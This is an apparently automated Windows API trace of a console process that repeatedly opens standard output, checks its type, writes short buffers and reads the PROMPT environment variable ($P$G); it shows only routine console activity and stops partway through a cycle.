File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 20 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 9 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 33 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 20 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 9 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 33 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 20 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 9 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 33 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 20 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 9 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 33 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 20 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 9 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 33 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 20 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 9 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 33 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 20 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 9 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 33 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 20 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 9 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 33 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 20 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 9 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 33 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 20 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 9 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 33 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 20 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 9 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 4 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 15 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 2 True 1
Fn
Data
Environment Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 33 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 3 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Get Info filename = STD_OUTPUT_HANDLE, type = file_type True 1
Fn
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Write filename = STD_OUTPUT_HANDLE, size = 20 True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
